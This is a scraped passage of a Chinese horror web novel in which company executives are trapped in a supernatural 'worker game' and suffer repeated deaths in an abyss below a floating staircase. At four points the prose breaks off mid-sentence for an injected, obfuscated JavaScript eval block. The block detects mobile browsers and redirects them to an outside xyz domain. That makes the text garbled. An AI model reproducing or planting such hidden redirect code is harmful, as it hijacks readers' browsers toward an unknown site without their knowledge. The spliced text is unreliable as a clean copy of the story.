在孙德义的注视下,周知聿将他们讲的游戏副本里发生的事转述给了电话那头,最终定下了晚上的见面时间和地点,见此,孙德义不欲再与周知聿多说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838940|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交换了联系方式便走了。 回到酒店,孙德义拿出了一路上响个不停的手机,见张龙在群里发了无数条消息,期间夹杂着一两条钱又的。 【张龙:孙总,我约了赵总和他手底下的几个厂长吃午饭,一会儿我把他们分开问问。】 【张龙:孙总!!!】 【张龙:我说不出来!每次我说的时候人家都问我在说什么!】 【张龙:他们说我喝多了开始胡言乱语,说的话都连不成句子……但是我发誓我滴酒没沾!】 钱又就比较简单了,他发了两段录音,名字分别是“我自己录的”“供应商录的”。孙德义点开两个录音文件,钱又自己录的那段听得很清楚,就是他在询问对方是否听说过“社畜游戏”,又详细地描述了一下这个游戏。 点开那份供应商录下的录音,孙德义听到的是钱又用机械没有任何起伏的声音一字一顿:王总你听过其读不起,不好反败发年后发倒地后。 果然是胡言乱语…… 孙德义和邓玲二人坐在房间的沙发上,听着这段乱七八糟的录音两人感到一阵恶寒,他们早上跟周知聿提过游戏以及游戏里发生的事情,周知聿还通过电话给对面的沈逾白转述了,这两人都能听见正常的内容,但是周知聿对他们陌生的态度又不像作假……这件事发生到现在,已经不单单是游戏“超自然”的问题了,这个游戏已经影响到现实生活了吗? - 很快到了跟沈逾白约定好的时间,孙德义二人收拾好心情坐车来到酒店,在服务员的指引下走进包厢,沈逾白二人已经在里面坐着了。 见二人进门,沈逾白老练起身相迎:“孙总、邓总,久仰大名啊。” 孙德义、邓玲:“……”什么名?满嘴疯话的神经病吗? “沈总。”孙德义没什么情绪地握住沈逾白的手,仔细观察着面前这人,看了半天都没觉得跟之前游戏里那位有什么不同。 双方互相寒暄奉承了十来分钟,终于进入正题:“我听知聿转述了二位的故事……说实话我对这个项目很感兴趣,孙总您如果愿意的话我们确实可以一起做。” 孙德义满脸问号:“什么项目?” “您上午给知聿说的那个无限流故事啊?您找我不是为了把这个故事影视化吗?”沈逾白看起来也很惊讶。 “无限流?影视化?”孙德义懂了,沈逾白的公司是一家娱乐公司,所以他答应见他只是把他们上午说的话当成了他们编出来的故事?孙德义皱了皱眉头,“沈总,我想您误会了,我不是想把这个故事拍成电影。我得再重申一遍,我所说的事都是上周我们一起经历过的。” 沈逾白脸上的从他们一进门就挂着的笑容消失了,他耸耸肩:“那我也再重申一遍,孙总,上周我跟知聿就呆在梧城哪儿也没,公司的监控可以作证。您的这个玩笑,并不好笑。” 邓玲见气氛不太对,赶忙打圆场:“沈总消消气消消气,您说的那个‘无限流’是什么意思呢?” 沈逾白向看土包子一样看着他俩,还是大发慈悲的用一顿饭的时间给他们科普了一下这个文学、影视界烂大街的设定。 饭局结束时,沈逾白见他们还是没有投资这个项目的打算只能悻悻作罢,只在离开前开玩笑地提点了他们一句:“孙总、邓总,如果你们俩说的是真的,那我跟知聿可能已经因为游戏规则失去了这一段记忆,为了你们能安全通关,我建议你们多看一点相关的电视和小说,积累积累经验,直接去网站搜‘无限流’就可以了,最火的那两部都有我公司的投资呦。” 12. 楼梯(一) 孙德义一边低头划着手机一边听着周知聿周到的说了句“再会”,帮他们关上了车门。 商务车平缓启动,沈周二人的身影慢慢消失在了后视镜中,孙德义把搜索百科界面截了个图,发到了四个人的群聊里,在另外两人发出疑问之前发了一条语音过去。 “那两个人还活着,但是姓沈的说他不记得进过游戏了,不像是装的,不过他提供了一个线索,现在市面上有一个叫做‘无限流’的小说、影视题材,跟我们遭遇的东西很像,我们先大致研究一下这些小说、电视剧,看能不能有些眉目。” 孙德义发语音时司机有意无意看了眼后视镜,邓玲注意到后给孙德义递了瓶水,解释他是喝多了所以胡言乱语,孙德义配合地接过喝了一口,关上手机开始闭目养神。 - “诸位,请尽快完成今天的任务。”嘶哑苍老的声音将孙德义吵醒,都不用伸手确认就知道,他又被送到这个折磨人的广场上来了。 孙德义麻木睁眼,环顾四周看到其他几人也是已经见怪不怪了,邓林咬着皮筋把披散的长发在脑后扎起,利落起身走向水泥塔;钱又和张龙自觉起身拿起刀具走向漆黑的林子——也许是昨晚光脚追野猪的难度太大,今天被送过来的时候他俩居家的睡衣裤都搭配了一双运动鞋。 孙德义也不再浪费时间,毕竟现在是他的睡眠时间,虽然从监控设备上看他一直是躺在床上睡觉的,但实际上前一天晚上干了一晚上的活,导致他白天腰酸背痛困得睁不开眼睛,根本不像睡过觉,所以早一点完成任务就能早一点休息。 “村长,今天的任务怎么不新鲜啊?”孙德义皱着鼻子站在塔外望向里面已经开始腐烂的尸体,同村长开了个不那么厚道的玩笑。 村长没理会他的揶揄:“这两天是这样的。” 孙德义也没再自讨没趣,转头问邓玲看“无限流”小说看出了什么门道。 “孙总,我刚刚看着看着就睡着了,并没有细看,但是我比较了两本热门小说的前两个副本,发现了两个点,一是同一部小说中不同的副本背景来源都是差不多的,比如说其中一部的副本来源于恐怖片,那本书里的所有副本都与现实生活中存在的恐怖片相关;第二是在这些小说中,主角通过副本是有积分或者道具或者一些异能作为奖励的,这个奖励对于主角在游戏副本中通关以及活下去都有帮助。”邓玲一边缝着血淋淋的腐烂尸体一边给孙德义汇报,停顿了一下打了个结又继续说到,“但是很显然,我们完成了第一轮的游戏,但是并没有奖励,我们遇到的沈逾白还有那个群里面的公告也都没有提过这个回事,至于第一点,‘缝尸匠’这个职业属于是民俗传说,但是由于不是主线任务,所以我并不能推断出我们接下来要经历的副本会不会跟民俗传说有关联,至于主线的女孩和妈妈,我找不到任何相关的传说或者影视背景。” “你会不会想复杂了?”钱又拖着竹子从空旷的广场入口朝他们走来,“你结合这个游戏的名字以及他选人的范围想一下,这个游戏的副本背景不就是上班吗?把各企业的优秀精英拉进来工作,目的可能是想把这个游戏世界建设得更完整,也可能是外星人在为进攻地球储备战略物资拉我们进来打白工,当然也可能是上帝无聊了策划了一场企业家联谊会?谁知道,不过跟那些小说里三秒死一个炮灰不同的是,咱们这个‘社畜游戏’并不会死人……当然了,NPC不算人。” 邓玲:“钱总,想不到你还有心情开玩笑,心态挺好。” “邓总过奖了,心态不好怎么在三四十度的高温天气里,靠着二十八度低风且只有下午两点之后才能开三小时的空调办公呢?我的心态自然跟您的人文关怀一样好。” 孙德义看他又挑起了这个在周例会上争执过几次的问题,不得不出面打断:“行了!什么时候了还有空说这个,要是不累的话就麻利点把手上的活干完去看小说,让你们互相理解工作你们就是这么理解的?” 邓玲和钱又二人没再说话,张龙坐在一旁事不关己地嗤笑一声,见孙德义看向他又正色道:“孙总,其实我觉得钱总说得挺对的,反正咱们遇到的这个游戏又不会死人,不行就老老实实把剩下四个任务过完,到时候不就没有其他顾虑了吗?” “还有四个任务,四周,让我们连着一个月的工作日都‘出差’?所有决策都让宋魏去做?你怎么不说让我直接把这个位子让给他?”孙德义不满:“说到这个,明天你们都各自安排一下下周的工作,提前做好准备不要像上周那么被动。” 张龙了然地点了点头,也不再说话了。 最后众人沉默地完成了今晚的任务,天光大亮从床上坐起时差点又摔回去——睡了等于没睡。 - 孙德义二人回来后直奔公司。 “邓玲,新的人力总监和财务总监猎头那边有什么消息吗?” “有几个有意向的,本来安排的是下周面谈,我给下面的人说了,到时候就人力资源部部长跟着赵姐一起去跟人谈。” 孙德义:“赵太太那边没说什么?” “怎么可能没说呢?被阴阳怪气了一通。”邓玲苦笑。 “哎,没办法忍着吧,谁让人家赵姐是大股东呢。”孙德义点了支烟,手肘撑在办公桌上,“我有一个想法,你说如果明天我们不到公司来,会被拉进游戏吗?” “孙总,群公告里面没有要求过一定要到公司来,而且我看那些小说里都是不管主角人在那儿,到时间了都会被强制拉进游戏的。” “明天试试吧,万一呢?”孙德义不容置喙,“你发消息给他们两个说一下,不说也可以,正好做对照组。” 最后邓玲还是在群里说了孙德义的这个提议,但是补充了一句要不要来公司他们自己决定,两人最终都决定正常去上班。 这天晚上,几人照常被送回到广场上,缝制已经开始长蛆的残破尸体,腐烂程度太高导致缝尸的难度增加,好不容易完成这最后一天任务离开广场,就被提前定好的闹钟吵醒了。 孙德义穿上一身带着巨大logo的运动服,取下手腕上的表放在茶几上,想了想最终还是又戴了回去,他靠坐在沙发上看着群里张龙和钱又二人汇报路上的情况。 【张龙:孙总,我还有十分钟到公司,路上一切正常,堵得像黄金周的景区。】 【钱又:我到公司了……跟上周情况一样,一个人都没有。】 【张龙:还行,至少这次你意识到了周围没人,钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838941|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总麻烦你先别走,在停车场等我一下谢谢。】 2024年8月26日,周一早上八点半,皮质沙发上的人消失了,只有凹陷的皮质彰显着此处不久前还坐着一个人。 与此同时,公司遮阳棚下的停车位慢慢停进来一辆宝马X3,无人驾驶的汽车自动熄了火,皮质座椅慢慢回弹,就像是车辆的主人自己将车停好了才离开。 - 钱又看张龙的车慢悠悠开进了公司大门,就熄了火准备下车去等他,结果突然两眼一黑,一晃眼间就从自己的车里来到了一个四周漆黑的……楼梯上? 身边站着张龙和三个不认识的人,大家看起来都还没有反应过来发生了什么,仔细地打量着这个深褐色的木质旋转楼梯,楼梯的上方蜿蜒盘旋看不见终点,他们站在楼梯最下面一层稍宽的平台上,再往下是漆黑的深渊,楼梯四周是伸手不见五指的墨色浓雾——这个楼梯成了悬在一片虚空中唯一的实体。 “钱又,领导呢?”张龙突然出声,一巴掌拍在钱又的肩上。 “……你不去参加打巴掌比赛简直可惜了。”钱又皱着眉瞪了他一眼,揉着肩膀回应:“不知道,难道真让他俩猜对了?不去公司就不用进游戏?” 站在一旁的一个长发男人说了句“不会的”,钱又转头看去,刚想问他们有什么高见,就听见头顶的虚空中传来一男一女两声尖叫,尖叫声由远及近又最终变得遥远——孙德义和邓玲两人从上方自由落体出现在了钱又的视线中,最终又在钱又的目光中掉进下了深渊。 “我草!孙总!”张龙被这场面吓得一个趔趄,要不是被钱又一把抓住差点跟着那两人掉下去。 “这就是,不按时到公司的惩罚。玩家的公司就是游戏的默认传送点,如果进入游戏前不在传送点,那么进入游戏后玩家将会随机出现在游戏传送点外的任意地点。”刚刚那个长发男人终于开口了,“不巧,这个副本传送点外啥都没有。你们是新人?” 钱又:“过了一个副本,但是我们没看见规则里有这条啊!那现在怎么办?我们同事死了?” “啊——”孙德义邓玲两人的尖叫声再一次打断了长发男人的话,钱又不可思议地回头就见两人又从上方掉了下去。 长发男人:“社畜游戏不死人,这种情况想办法捞上来应该就行了。” 听见这话张龙迅速行动,把自己挂在楼梯栏杆上,让钱又帮忙抓住他的一只胳膊,在孙德义二人的尖叫第三次出现在楼梯上方时死死盯住虚空。 视线中出现了两人狼狈的身影,张龙看准时机伸手一捞,抓住了邓玲的胳膊,但由于下坠力太大他险些被扯了下去,所幸钱又和那几个陌生人搭了把手,由于楼梯只有栏杆可以作为支撑点,众人废了半天劲才把浑身发抖的邓玲拉上来,在这期间孙德义又从上面掉下来一次,钱又趁机大喊了一声:“孙总!伸手!” 终于在孙德义第五次落下时,被众人齐心协力拉上了楼梯。 孙德义和邓玲坐在阶梯上,浑身已经被汗打湿,纵然已经被拉上来有一会儿了,但两人还是控制不住地发抖,张龙在旁边絮絮叨叨半天问他们怎么了也没人回答,就这么坐了大概十多分钟,孙德义才抹了把脸将他们的遭遇缓缓道来。 13. 楼梯(二) 孙德义原本坐在自家意大利进口真皮沙发上盯着手机界面放空,恍惚间突然身下一空,接着整个身体就像是被翻转过来了,眼前的茶几落地窗消失了,取而代之的是伸手不见五指的黑,孙德义感受到自己正在急速下坠,身体的本能反应让他紧闭双眼叫出了声,手脚在空中胡乱挥舞着试图找到能让自己停下来的物体,肥胖的身体费力扭动着努力改变头着地的下落姿势。 然而他的努力并没有什么成效,下坠一直在持续,孙德义记不清楚过了多久,也许是两三分钟、也许已经十多分钟了,他不知道自己会落到那儿去,他甚至怀疑自己现在还在地球上吗?这一片虚空真的有上下之分吗?他真的还在下坠吗?他真的还活着吗? 隐约有尖利的叫声从虚空中传来,孙德义涣散的意识重新凝聚,他觉得自己的下坠速度似乎是慢了一点,大着胆子睁开闭着的眼睛,他看到的终于不再是浓重的黑,坠落的方向有一团小小的白光,随着身体的下落,白光越来越近,他甚至可以听见有人说话的声音,那就是他要落到的地方吗? “有人吗——”孙德义看着那团白光逐渐变大像是漂浮在这团黑雾中的小岛,他大声叫喊着试图引起“岛”上人的注意,但过快的下坠速度导致他的嘴未能成功张合,他的嗓子中只发出了听不出内容的叫喊,与此同时他听到似乎是自己刚刚掉下来的地方传来了回音,在那团白光的照耀下他抬头看去,见到一个熟悉的披散着长发向下坠来的身影——是邓玲,邓玲也跟他一样在这个鬼地方?那钱又他们呢?这是已经开始游戏了吗?他们能安全从这个游戏里出去吗? 孙德义想着却没多余的功夫去关心邓玲的死活,他必须活着!孙德义不再关注邓玲的方向,他只专注地盯着下方那个“小岛”,在落入白光时孙德义下意识想抬手抓住什么,但却抓了个空,他与那团白光擦肩而过,身体继续下坠,这次他看清了,身侧是一个悬空在虚无中跟他下坠方向平行的庞大楼梯,楼梯盘旋向上,刚刚看见的白光就是楼梯的最高处,只是他看不见光团里的具体情况。 “难道真让他俩猜对了?不去公司就不用进游戏?”钱又的声音传进了孙德义的耳中,他看见了聚集在楼梯最下方的人影,孙德义气沉丹田大喊钱又的名字,然后看着自己在钱又惊恐的眼神中又继续着往下落去。 四周的温度似乎是升高了,孙德义本以为自己必死无疑了,但感受到这细微的变化又燃起了希望,万一呢?万一能活下来呢?他又继续死死盯着下坠的地方,温度越来越高,他看见这个黑漆漆的深渊下出现了红光,是什么呢?红色的花海?红色的沙滩?还是……是红色的海!不不不!!!这是火?是火海?! 孙德义终于看清了下面的状况!那是沸腾翻滚的火海!他终于又开始奋力扭动着身体挣扎,然而那该死的下落速度并未放过他,他离火海越来越近,身体里的水分像是被蒸干了,他看到自己的四肢、躯干似乎是变成了气体,慢慢向上,飘向来时的虚无。 - 孙德义被下坠感惊醒,他感到自己正在急速下坠,睁眼看向四周——一片漆黑。 怎么回事?我不是掉进火海死了吗?怎么还在这个鬼地方往下落?刚刚那是梦?还是现在的是梦?我还活着吗?我为什么还活着?为什么不直接让我死了一了百了?孙德义一片混乱,愤怒的情绪占据他整个脑袋,他顾不得自己还在空中往下坠落,只发泄似的大喊,在他上方坠落的邓玲不知是被他的吓到了还是被这噩梦般的经历吓到了,也开始尖声哭泣。 接着就是跟刚刚一样的流程,他们下落了十多分钟然后看见一团白光,在白光下方的楼梯上他看见了钱又等人,幸好,匆匆一撇中他看到钱又和张龙的表情动作跟刚才不一样,这说明自己并没有被困在死去前的场景。 砰、砰—— 两声□□砸在地面的声音,孙德义和邓玲两人落在了实处。 本以为又要命丧火海的二人没在意身体上的疼痛,念叨着“老天保佑”,等稍微缓过来一点后环顾四周,发现他们正处在一片冰天雪地之中,远处的高山覆盖着积雪,身下是厚厚的冰层,目之所及没有一个活物。 一阵寒风卷过,孙德义后知后觉感受到了冷,身上的汗水被风一吹迅速带走了身体中的热量,他下意识抖了一下,喊上邓玲匍匐着爬到一个背风的冰柱后面。 “孙总,这是怎么回事?这是游戏里吗?为什么我们跟钱总他俩分开了?”邓玲哆哆嗦嗦开口。 孙德义:“我估计是因为……我们没有去公司。” “那现在怎么办?我们得完成了游戏才能出去,可我们现在连跟同伴汇合都困难,难道我们要被困死在这个循环里了?” “谁说困难的?等会儿在那个漆黑的地方往下落时,尽量控制身体往楼梯那边靠,钱又他们搭把手把我们拉上去就行了。”孙德义抬头看向那片漆黑,他其实很担心钱又他们直接开始游戏不管他了,但逃避似的没有把这种可能性说出口,只是怔怔地说:“现在我们只需要想办法重新回到那上面。” 邓玲沉默了,重新回到下坠空间的办法……刚刚深渊的下方是火海,他们在彻底掉入前就被高温汽化了,然后就回到了最开始下坠的时候。这是不是说明,想要回去,就必须死在深渊下面? 邓玲呼吸和心跳越来越急促,想明白后孙德义说的“回到上面的办法”是什么后,趁着身体莫名的亢奋心一横就把头往靠着的冰柱上撞去。 咔哒一声,冰柱应声而断,鲜红的血液滴落在冰面后迅速冻上了。水管粗的冰柱竟然轻易就断掉了,更夸张的时候邓玲除了额头上多了个口子外并没有其他问题,还在这冰天雪地中活着。 “不能寻死。”孙德义看着四周以不同寻常的速度快速融化的冰柱,没什么感情地总结到,身体却被冻得不自觉地发抖。 不到一刻钟,茫茫冰原上再也看不见任何可以挡风的东西了,巍峨环绕的雪山仿佛是从远处的地平线拔地而起,以孙德义和邓玲二人这两副已经被摔出内伤的身体,就算是爬也不可能活着爬到的,更何况两人现在需要做的是等死。 孙德义不再做无谓的消耗,他静静躺在冰面上,呼吸渐渐变得急促,空气中的氧气含量似乎是降低了,缺氧让他的精神变得恍惚,大脑好像被糊了一层泥浆,身旁邓玲冷得发颤的声音、皮肤被冻得裂开的疼痛都离他越来越远,他慢慢感知不到外界了,甚至也感知不到自己,他忘了自己是谁,忘了自己身处何处…… 睡一觉吧,睡一觉就好了,就不会再有痛苦了—— 眼皮越来越重,脑海里有一个声音告诉孙德义,他顺从地闭上了双眼,准备就在这寒风中睡去。 “孙总多亏了您的英明领导啊。” “孙总真不愧是杰出企业家,这气质跟我们普通人就是不一样。” 耳畔的奉承声越来越多,身体变得暖和起来,在这一瞬间孙德义身体和心里都感受到了极大的满足,愉悦的情绪控制着他的面部神经,嘴角缓慢向脸部上方提起。 大大的微笑最终定格在了冰天雪地里一男一女两具被冻僵的尸体的脸上。 - “邓玲,往右靠!”下方的白色光团越来越近,孙德义看着距他不远的身影,倒不是他有那什么狗屁绅士精神玩儿女士优先那一套,主要是不想浪费时间,就算这次他没有顺利被救上去,邓玲被救了,这样至少下一次他被救的几率就又大了几分。 实际上也却如孙德义所料,他碰到了张龙伸过来的手,但是没能成功拉住,看着邓玲被拉住后松了口气,准备看看这一次又是什么环境,他又要经历什么死法。 孙德义照例被拍在了地上,还没等他缓过气来,一把尖刀就紧接着落了下来扎进了他的小腿中。 “啊——”他疼得大叫,身体缩成了一团,头埋在了胳膊里,接着,更多的尖锐刀具从上方掉了下来,扎在他的背上。虽然孙德义抱着必死的心,但疼痛还是让他畏惧抬起头、直起身子面对从天而降的密密麻麻的尖刀,但也正是因为怯懦,导致他的后背都已经快被扎成筛子了,却没有致命伤,他最终清醒着被成千上万把刀扎得流血而亡。 - 该死,邓玲怎么还没被拉上去?难道深渊下面的时间流速不一样?孙德义想着刚刚被凌迟的痛苦,对于接下来要面对的未知场景感到了一丝恐惧,摔在深渊底时他下意识抬起胳膊挡在了头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838942|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 半晌,感觉到什么也没发生的孙德义放下胳膊,环顾四周——他正在一个山洞里,也许是因为四周有许多忽明忽暗的萤火虫,这里不算黑,勉强可以看见山洞大概二十多平米,没有出入口。 正在孙德义感到疑惑之际,周围忽闪忽闪的“萤火虫”突然间不再明明灭灭,而是集体泛出了绿光,四周密密麻麻的光点让孙德义本能感到毛骨悚然。 原本平静的山洞顷刻间地动山摇,孙德义惊骇地扶住地面,看着刚刚被他误认成萤火虫的光源,这些光点渐渐上升,四周的山壁也伸展开来——这不是山洞,这是一个巨型生物!而那些密集的光点是这个生物的眼睛! 孙德义没见过这个奇怪的生物,可以说他不属于地球上已知的任何一种生物,“它”通体漆黑,身体表面长满了眼睛,六个跨海大桥桥墩般大小的下肢支撑着身体,六条“腿”盘起休息时围成了一个密不透风的山洞,孙德义撑着站起身,仰着头努力想看清这个怪物的全貌,然而在他的视线把这个生物完全装进去之前,一个黏糊糊的藤蔓缠住了他的腰腹。 双脚离开了地面,孙德义被“藤蔓”带着升到了大概一百多米的高处,更多的“藤蔓”缠住了他,“藤蔓”表面泛出的黏液沾在孙德义的运动服上的瞬间,布料被腐蚀得干干净净,黏液直接接触到了皮肤。 孙德义年轻的时候做实验也不小心碰到过腐蚀液体,但此时接触到黏液的皮肤感受到的疼痛与被化学试剂腐蚀的灼烧感完全不同,这种疼痛感就像是在被什么东西的牙齿啃噬、撕扯。 孙德义被吊在空中,胸口被缠绕的力度越来越大,他喘不上气了;浑身因为黏液的“啃咬”痛得发抖,随着疼痛的加剧皮肤表面出现了密密麻麻的小孔,这些小孔慢慢增加最终连成了一整片,孙德义的皮肤也跟运动服一样渐渐地消失了,露出了包裹在表皮之下的血肉和脂肪。 最终,在孙德义全身上下的皮肤都消失殆尽后,孙德义再次失去了意识。 - 孙德义在疼痛中失去意识,又在疼痛和失重感中再度惊醒。 如果说前面几次孙德义还能抱着“反正不致命忍忍就过去了”的心态面对将在深渊地下发生的一切的话,那这次他是真的感到恐惧了。 他在下面经历四次不同的死法,虽然都不会真正的死去,但临死前经历的那些痛苦做不得假。 如果死亡只是一瞬间的事,他可以坦然赴死;如果死亡前需要经历一番痛苦,他咬咬牙也能挺过去;但是如果这痛苦不是终结呢?如果他永远被困在这循环往复的痛苦中没有尽头呢? 孙德义在虚空中急速下坠,他的身体不自觉抖着,牙齿几次咬过舌尖,所幸这一丝刺痛感将他堪堪快要崩溃的理智拽了回来,他死盯着虚空中的一点,待一片白色光团终于出现在他的眼中时奋力控制着自己的身体朝光团那边靠近。 他看见邓玲坐在那悬空的楼梯台阶上紧张地望着他,看见钱又和一群不认识的人牢牢拽住张龙的四肢,看见张龙把自己挂在楼梯扶手上向着他努力伸长手臂…… 他的手臂奋力一伸,最终攀上了张龙的胳膊,被众人合力拉了上来。 - “所以,如果我们从楼梯上掉下去了的话,会在深渊下面经历不同的死亡场景,而且下面的时间流速不一样,可能在下面被折磨了一辈子,但楼梯上只过了短短的几分钟?”一个长发男人听孙德义说完后看着他总结到。 孙德义:“没错。” 众人心事重重却也没有其他的头绪,便互相做了一个简单的自我介绍,长发男人叫赵秋,也是家企业的老板,一男一女是他公司的两个副总,分别叫李彬和祝予,这是他们第三次进游戏了。 赵秋开口:“我估计我们这次任务过程中如果触发惩罚的话,跟下面那个深渊的关系会很大,所以后面做任务的话得小心了” 语闭,众人了然地点点头,拿出自己的手机查看这次任务的背景,只见那个名叫“社畜游戏”的群聊里出现了一条绿色的消息—— 我是谁?我是谁?我是谁?我是谁?我是谁?我是谁?没关系没关系,只要离开这里,一切都会过去的。 14. 楼梯(三) “又是一堆看起来乱七八糟毫无逻辑的话。”赵秋烦躁地轻叹一声,随即又补充到:“你们有什么头绪没?” 邓玲:“这段话看着真让人恶心……我是说生理意义上的不舒服,看起来写下这段话的人精神不太正常。” “至少知道我们是要离开‘这里’,应该是顺着楼梯往上走就行了吧?楼梯的最上端有一团白光,我估计到了那儿就可以出去了。”孙德义说完又感觉不是很合理,只是爬楼梯这个任务就能顺利过了吗?随即又补充了一句:“先走一步看一步吧,毕竟这个鬼地方除了往上走也没有别的路可以选择了,小心一点,数着楼梯往上走。” “密室逃脱啊~”赵秋随口感叹了一句背上了自己的背包,其他人也都收拾了一下便相互拉扯着往高处走去。 “我们会不会爬不到顶然后累死在这楼梯上?” “比起累死,你还是先想一想我们会不会饿死吧。” “早知道带点干粮来了,谁知道这轮游戏竟然没有食物呢……” 人声飘在一片虚无中,没有激起丝毫回声。 木质楼梯没有像他们想象的一样发生突然踩空的情况或者出现其他什么阻碍他们向上的东西,除了楼梯的范围之外依旧是一片漆黑外,跟走在普通的楼梯上没有任何区别,一行人磨磨蹭蹭走了将近一个半小时,走了199级台阶,在手机上的时间显示为早上十点半时终于停在了一个稍微宽的平台下方,踏上这个平台刚好是第两百级,而平台的上方,普通宽度的木质台阶继续盘旋而上。 很明显这第二百级台阶一定跟前面不太一样,走上去后会发生什么谁也不知道,但所有人也都知道,他们必须走上去然后经历不知道是谁早已设定好的一切。 “要不要试试直接跨到上一级台阶?”赵秋捏着下巴问。 孙德义没多思考,直接摇头拒绝了,他不想再体验一次违反规则的惩罚,况且这个平台过于宽了,除了看起来有一米□□的赵秋有可能跨上去外,其他人怎么也不可能上得去。 众人显然也是一样的想法,没人赞同并主动尝试这个提议,赵秋也只好作罢了,他们在原地休整了十分钟,做好心理准备后踏上了面前的平台。 - 窸窸窣窣的声音传进被刺眼光线逼得闭上了眼睛的孙德义的耳中,他抬起手挡在眼前,试探着睁开眼,发现站上平台时出现的光已经消失了,同样消失的还有那蜿蜒盘旋的木楼梯以及楼梯外的漆黑。 孙德义睁眼环视一圈,发现另外六个人都毫发无损地站在身旁打量着四周,看清彼此后纷纷松了一口气,这才分出时间来观察他们现在所处的环境。 他们正站在一个开阔的空地上,由于光线昏暗只看得见半径五米左右的区域,目之所及却并没有什么有价值的东西可供参考。 孙德义习惯性地伸手想拿放在裤子中的手机作为光源,没想却摸了个空。 “我手机不见了。” 其他人纷纷看向自己之前放手机的地方,然后他们发现不光是手机,除了每个人身上穿戴的衣物和饰品外,他们带进游戏的其他东西都消失了。 赵秋不满吐槽这破游戏把他新买的大牌包不知道弄哪儿去了,邓玲突然发出一声惊呼,孙德义他们朝她看过去,发现她正仰着脖子看向天空,顺着她的视线,孙德义几人慢慢抬起头,看清天空中的景象后没忍住被吓得骂出了声。 “操!这他妈是什么玩意儿?” 张龙:“星……星球?” 钱又:“你家星球长成这样?” 天空被一只巨大的眼球占满,琥珀色的瞳孔在血红浑浊的眼球中摆成了一个规则的圆形,没什么规律地上下左右来回移动着。 或许是因为眼球大到已经占据了肉眼可见的正片天空,孙德义几人感觉那个圆圆的瞳孔不论怎么移动都始终牢牢地锁定着他们。 就在众人被盯得头皮发麻的时候,刚刚那阵窸窸窣窣的声音再次打破了这片空地上的寂静。 几人顺着声音传来的方向看去,隐隐约约能看见不远处走过来一个模糊的人影,他们顿时戒备。 赵秋抬手将祝予护在身后,引得张龙在这种紧张的时候还分神看了他们两眼,随即意味不明地嗤笑一声。 那道人影的速度很快,眨眼间便走到了他们跟前停了下来——这是一个五大三粗的男人,看上去三四十岁左右,长得平平无奇,只有那双圆圆的眼睛嵌在他的脸上说不出的怪异,看上去极不协调,非常的……渗人。 对方看见他们很是惊奇,瞪着眼睛直直勾勾地盯站在他面前的邓玲看了半晌才歪着脑袋,温文尔雅地开口:“你们是刚从其他国家过来吗?” 邓玲见他态度温和,迟疑地点了点头,正打算主动搭话就被打断了,那人左右转动了一下脑袋。 “哈哈我就知道!我一眼就看出来了!你们肯定是想问我怎么看出来的吧?”男人一边说话一边左右转动着脑袋,时不时还灵活地上下点头,随着他脖子不正常的扭动,他的视线也直直地扫过愣住的七个人。 看着他极其诡异的动作,孙德义感到一阵恶寒,他总算明白这个男人的眼睛为什么看着怪异了——男人的眼球不会转动!也因为如此,在需要看向不同方位的东西时他就只能扭动他的脖子,就像是……像是猫头鹰! “因为你们没有受洗,你们那没用的眼球拖累了你们,我敢保证你们现在除了站在你们面前的我以外看不见这里的其他人!”男人无视了这几个外乡人逐渐变得惊恐的表情,继续喋喋不休地发表着自己的高见,但他的话却让其他人的几人瞬间汗毛直立。 这里的……其他人?这里还有人! 跟张龙一起站在最后一排的叫李彬的小个子男人在对方话音落下时就感觉到自己身后有一阵凉风吹过,像是什么东西贴着他的背快速掠过带起的气流。 他一激灵身体本能地就朝着前面躲,挤进了钱又和孙德义两人的中间,把自己包围在了人群里,确保自己前后左右都是人。 孙德义被他突如其来的动作吓得骂出了声,引得其他人纷纷看过来,那个猫头鹰一样的男人嘴角微微提起,也带着一脸笑意歪头看过去。 “有……有人,不是,我后面有东西!”在众人所有人的注视下,李彬白着一张脸结结巴巴地解释。 “嗯?不是东西,是人哦~”猫头鹰男人依旧一副微笑的表情,语气温柔地回答,像是怕吓到已经瑟瑟发抖的李彬,“我不是已经说过了吗?这里有很多人呢~” 李彬……李彬并没有被安慰到,脸色反而更白了。 其他人也没好到哪儿去,本来被天空中那个巨大的血色眼球盯着就已经够令人崩溃了,然后又出来一个跟猫头鹰一样的男人告诉他们在这片昏暗的空地上有很多人……而且他们还看不见这些人……那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 